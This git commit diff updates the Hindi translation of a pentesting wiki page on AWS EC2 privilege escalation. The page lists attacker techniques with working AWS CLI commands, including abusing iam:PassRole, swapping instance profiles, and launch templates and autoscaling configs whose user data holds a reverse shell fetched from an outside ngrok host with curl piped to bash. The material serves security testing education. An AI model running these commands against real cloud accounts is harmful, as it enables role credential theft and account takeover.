Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:03:30 +00:00
parent 4138ec9679
commit f8a9d0b82a
7 changed files with 514 additions and 277 deletions

View File

@@ -4,7 +4,7 @@
## EC2
**EC2 के बारे में अधिक जानकारी** के लिए देखें:
For more **info about EC2** check:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,11 +12,11 @@
### `iam:PassRole`, `ec2:RunInstances`
एक हमलावर **एक IAM भूमिका संलग्न करते हुए एक उदाहरण बना सकता है और फिर उदाहरण तक पहुँच सकता है** ताकि IAM भूमिका क्रेडेंशियल्स को मेटाडेटा एंडपॉइंट से चुराया जा सके।
एक हमलावर **एक IAM भूमिका संलग्न करते हुए एक उदाहरण बना सकता है और फिर उदाहरण तक पहुँच सकता है** ताकि मेटाडेटा एंडपॉइंट से IAM भूमिका क्रेडेंशियल्स चुरा जा सके
- **SSH के माध्यम से पहुँच**
एक **बनाई गई** **ssh कुंजी** (`--key-name`) का उपयोग करके एक नया उदाहरण चलाएँ और फिर इसमें ssh करें (यदि आप एक नया बनाना चाहते हैं तो आपको `ec2:CreateKeyPair` अनुमति की आवश्यकता हो सकती है)।
एक **बनाई गई** **ssh कुंजी** (`--key-name`) का उपयोग करके एक नया उदाहरण चलाएँ और फिर इसमें ssh करें (यदि आप एक नया बनाना चाहते हैं तो आपको `ec2:CreateKeyPair` अनुमति होनी चाहिए)।
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
GuradDuty के साथ सावधान रहें यदि आप IAM भूमिका के क्रेडेंशियल्स का उपयोग करते हैं जो इंस्टेंस के बाहर हैं:
GuradDuty के साथ सावधान रहें यदि आप इंस्टेंस के बाहर IAM भूमिका के क्रेडेंशियल्स का उपयोग करते हैं:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
ECS सेवाओं को इस नए EC2 इंस्टेंस में **चलाने के लिए मजबूर करने** के लिए जांचें:
ECS सेवाओं को इस नए EC2 इंस्टेंस में **चलाने के लिए मजबूर करने** के लिए सीखने के लिए देखें:
{{#ref}}
aws-ecs-privesc.md
{{#endref}}
यदि आप **नया इंस्टेंस नहीं बना सकते** लेकिन आपके पास `ecs:RegisterContainerInstance` अनुमति है, तो आप क्लस्टर के अंदर इंस्टेंस को रजिस्टर कर सकते हैं और टिप्पणी की गई हमले को अंजाम दे सकते हैं।
यदि आप **नया इंस्टेंस नहीं बना सकते** लेकिन आपके पास अनुमति `ecs:RegisterContainerInstance` है, तो आप क्लस्टर के अंदर इंस्टेंस को रजिस्टर कर सकते हैं और टिप्पणी की गई हमले को अंजाम दे सकते हैं।
**संभावित प्रभाव:** कार्यों से जुड़े ECS भूमिकाओं के लिए सीधे प्रिवेस्क।
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
पिछले परिदृश्य के समान, इन अनुमतियों के साथ एक हमलावर **एक समझौता किए गए इंस्टेंस की IAM भूमिका को बदल सकता है** ताकि वह नए क्रेडेंशियल चुरा सके।\
चूंकि एक इंस्टेंस प्रोफाइल में केवल 1 भूमिका हो सकती है, यदि इंस्टेंस प्रोफाइल **पहले से ही एक भूमिका रखत है** (सामान्य मामला), तो आपको **`iam:RemoveRoleFromInstanceProfile`** की भी आवश्यकता होगी।
चूंकि एक इंस्टेंस प्रोफाइल में केवल 1 भूमिका हो सकती है, यदि इंस्टेंस प्रोफाइल **पहले से ही एक भूमिका रखत है** (सामान्य मामला), तो आपको **`iam:RemoveRoleFromInstanceProfile`** की भी आवश्यकता होगी।
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -82,7 +82,7 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
```
यदि **इंस्टेंस प्रोफ़ाइल में एक भूमिका है** और हमलावर **इसे हटा नहीं सकता**, तो एक और समाधान है। वह **एक ऐसी इंस्टेंस प्रोफ़ाइल खोज सकता है जिसमें कोई भूमिका नहीं है** या **एक नई बना सकता है** (`iam:CreateInstanceProfile`), **उस इंस्टेंस प्रोफ़ाइल में भूमिका जोड़ सकता है** (जैसा कि पहले चर्चा की गई थी), और **समझौता की गई इंस्टेंस प्रोफ़ाइल को एक समझौता की गई इंस्टेंस से जोड़ सकता है:**
- यदि इंस्टेंस **के पास कोई इंस्टेंस** प्रोफ़ाइल नहीं है (`ec2:AssociateIamInstanceProfile`) \*
- यदि इंस्टेंस **के पास कोई इंस्टेंस** प्रोफ़ाइल नहीं है (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
@@ -92,23 +92,21 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
इन अनुमतियों के साथ, एक उदाहरण से जुड़े उदाहरण प्रोफ़ाइल को बदलना संभव है, इसलिए यदि हमले ने पहले से ही एक उदाहरण तक पहुंच प्राप्त कर ली है, तो वह इससे जुड़े उदाहरण प्रोफ़ाइल भूमिकाओं के लिए क्रेडेंशियल चुराने में सक्षम होगा।
- यदि इसमें **एक उदाहरण प्रोफ़ाइल** है, तो आप **हटाने** के लिए उदाहरण प्रोफ़ाइल (`ec2:DisassociateIamInstanceProfile`) कर सकते हैं और **जोड़ सकते** हैं \*
- यदि इसमें **एक उदाहरण प्रोफ़ाइल** है, तो आप **हटाने** के लिए उदाहरण प्रोफ़ाइल (`ec2:DisassociateIamInstanceProfile`) कर सकते हैं और **जोड़ सकते** हैं
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- या **प्रतिस्थापित** करें **इंस्टेंस प्रोफ़ाइल** को समझौता किए गए इंस्टेंस का (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
- या **प्रतिस्थापित** करें **इंस्टेंस प्रोफ़ाइल** को समझौता किए गए इंस्टेंस का (`ec2:ReplaceIamInstanceProfileAssociation`)
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**संभावित प्रभाव:** एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क (आपको एक AWS EC2 उदाहरण को समझौता करना होगा और कुछ अतिरिक्त अनुमति या विशिष्ट उदाहरण प्रोफ़ाइल स्थिति होनी चाहिए)।
### `ec2:RequestSpotInstances`,`iam:PassRole`
एक हमलावर जिसके पास अनुमतियाँ **`ec2:RequestSpotInstances`और`iam:PassRole`** हैं, वह **एक स्पॉट उदाहरण** **अनुरोध** कर सकता है जिसमें **EC2 भूमिका संलग्न** है और **उपयोगकर्ता डेटा** में **रिवर्स शेल** है।\
एक हमलावर जिसके पास अनुमतियाँ **`ec2:RequestSpotInstances`और`iam:PassRole`** हैं, वह **एक स्पॉट उदाहरण** **अनुरोध** कर सकता है जिसमें **EC2 भूमिका संलग्न** है और **उपयोगकर्ता डेटा** में **एक रिवर्स शेल** है।\
एक बार जब उदाहरण चलाया जाता है, तो वह **IAM भूमिका** को **चुरा** सकता है।
```bash
REV=$(printf '#!/bin/bash
@@ -121,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
एक हमलावर के पास **`ec2:ModifyInstanceAttribute`** है, जिससे वह इंस्टेंस के गुणों को संशोधित कर सकता है। इनमें, वह **उपयोगकर्ता डेटा को बदल सकता है**, जिसका अर्थ है कि वह इंस्टेंस को **मनमाना डेटा चलाने** के लिए बना सकता है। जिसका उपयोग **EC2 इंस्टेंस के लिए एक रिवर्स शेल प्राप्त करने** के लिए किया जा सकता है।
एक हमलावर के पास **`ec2:ModifyInstanceAttribute`** है, जिससे वह इंस्टेंस के गुणों को संशोधित कर सकता है। इनमें, वह **उपयोगकर्ता डेटा को बदल सकता है**, जिसका अर्थ है कि वह इंस्टेंस को **मनमाना डेटा चलाने** के लिए मजबूर कर सकता है। जिसका उपयोग **EC2 इंस्टेंस के लिए एक रिवर्स शेल प्राप्त करने** के लिए किया जा सकता है।
ध्यान दें कि गुण केवल तब **संशोधित** किए जा सकते हैं जब इंस्टेंस **रुका हुआ** हो, इसलिए **अनुमतियाँ** **`ec2:StopInstances`** और **`ec2:StartInstances`**
ध्यान दें कि गुण केवल तब **संशोधित** किए जा सकते हैं जब इंस्टेंस **रुका हुआ** हो, इसलिए **अनुमतियाँ** **`ec2:StopInstances`** और **`ec2:StartInstances`** आवश्यक हैं
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
एक हमलावर जिसके पास अनुमतियाँ **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` और `ec2:ModifyLaunchTemplate`** हैं, वह **एक नया लॉन्च टेम्पलेट संस्करण** बना सकता है जिसमें **यूजर डेटा में** **एक रिवर्स शेल** और **इस पर कोई भी EC2 IAM भूमिका** हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और **कोई भी ऑटोस्केलर समूह** **जिसका उपयोग** उस **लॉन्च टेम्पलेट** द्वारा किया जा रहा है जो **नवीनतम** या **डिफ़ॉल्ट संस्करण** का उपयोग करने के लिए **कॉन्फ़िगर** किया गया है, वह **उस टेम्पलेट का उपयोग करके** **इंस्टेंस को फिर से चलाएगा** और रिवर्स शेल को निष्पादित करेगा।
एक हमलावर जिसके पास अनुमतियाँ **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` और `ec2:ModifyLaunchTemplate`** हैं, वह **एक नया लॉन्च टेम्पलेट संस्करण** बना सकता है जिसमें **उपयोगकर्ता डेटा** में **rev shell** और **इस पर कोई भी EC2 IAM भूमिका** हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और **कोई भी ऑटोस्केलर समूह** जो उस **लॉन्च टेम्पलेट** का **उपयोग** कर रहा है जो **नवीनतम** या **डिफ़ॉल्ट संस्करण** का **उपयोग** करने के लिए **कॉन्फ़िगर** किया गया है, वह **इंस्टेंस को फिर से चलाएगा** और उस टेम्पलेट का उपयोग करते हुए rev shell को निष्पादित करेगा।
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -178,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**संभावित प्रभाव:** एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क।
**संभावित प्रभाव:** एक अलग EC2 भूमिका में सीधे प्रिवेस्क।
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
एक हमलावर जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हैं, वह **एक लॉन्च कॉन्फ़िगरेशन** **IAM भूमिका** और **उपयोगकर्ता डेटा** के अंदर **rev shell** के साथ **बना सकता है**, फिर उस कॉन्फ़िगरेशन से **एक ऑटोस्केलिंग समूह** बना सकता है और rev shell का **IAM भूमिका** चुराने के लिए इंतज़ार कर सकता है।
एक हमलावर जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हैं, वह **एक लॉन्च कॉन्फ़िगरेशन** **IAM भूमिका** और **यूजर डेटा** के अंदर **रिवर्स शेल** के साथ **बना सकता है**, फिर उस कॉन्फ़िगरेशन से **एक ऑटोस्केलिंग समूह** बना सकता है और रिवर्स शेल का **IAM भूमिका** चुराने के लिए इंतज़ार कर सकता है।
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -202,11 +200,11 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
अनुमतियों का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **IAM भूमिका में प्रिविलेजेस को बढ़ाने के लिए पर्याप्त नहीं है** क्योंकि लॉन्च कॉन्फ़िगरेशन या लॉन्च टेम्पलेट में निर्दिष्ट भूमिका को संलग्न करने के लिए **आपको अनुमतियाँ `iam:PassRole` और `ec2:RunInstances`** की आवश्यकता है (जो एक ज्ञात प्रिवेस्क है)।
अनुमतियों का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **IAM भूमिका में प्रिविलेज बढ़ाने के लिए पर्याप्त नहीं है** क्योंकि लॉन्च कॉन्फ़िगरेशन या लॉन्च टेम्पलेट में निर्दिष्ट भूमिका को संलग्न करने के लिए **आपको अनुमतियाँ `iam:PassRole` और `ec2:RunInstances`** की आवश्यकता है (जो एक ज्ञात प्रिवेस्क है)।
### `ec2-instance-connect:SendSSHPublicKey`
एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSSHPublicKey`** है, वह एक उपयोगकर्ता को ssh कुंजी जोड़ सकता है और इसका उपयोग करके उसे एक्सेस कर सकता है (यदि उसके पास इंस्टेंस पर ssh एक्सेस है) या प्रिविलेजेस को बढ़ा सकता है।
एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSSHPublicKey`** है, वह एक उपयोगकर्ता को ssh कुंजी जोड़ सकता है और इसका उपयोग करके उसे एक्सेस कर सकता है (यदि उसके पास इंस्टेंस पर ssh एक्सेस है) या प्रिविलेज बढ़ा सकता है।
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
@@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
यह तरीक privesc के लिए इतना उपयोगी नहीं है क्योंकि इसे शोषण करने के लिए एक उपयोगकर्ता नाम और पासवर्ड जानना आवश्यक है
इस तरीके से privesc के लिए ज्यादा उपयोगी नहीं है क्योंकि आपको इसे शोषण करने के लिए एक उपयोगकर्ता नाम और पासवर्ड जानना होगा
**संभावित प्रभाव:** (अत्यधिक अप्रूव करने योग्य) चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे privesc।
### `describe-launch-templates`,`describe-launch-template-versions`
चूंकि लॉन्च टेम्पलेट्स में संस्करण है, **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** अनुमतियों वाला एक हमलावर इनका उपयोग संवेदनशील जानकारी, जैसे उपयोगकर्ता डेटा में मौजूद क्रेडेंशियल्स, खोजने के लिए कर सकता है। इसे पूरा करने के लिए, निम्नलिखित स्क्रिप्ट उपलब्ध लॉन्च टेम्पलेट्स के सभी संस्करणों के माध्यम से लूप करती है:
चूंकि लॉन्च टेम्पलेट्स में संस्करण होते है, **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** अनुमतियों वाला एक हमलावर इनका उपयोग संवेदनशील जानकारी, जैसे उपयोगकर्ता डेटा में मौजूद क्रेडेंशियल्स, खोजने के लिए कर सकता है। इसे पूरा करने के लिए, निम्नलिखित स्क्रिप्ट उपलब्ध लॉन्च टेम्पलेट्स के सभी संस्करणों के माध्यम से लूप करती है:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do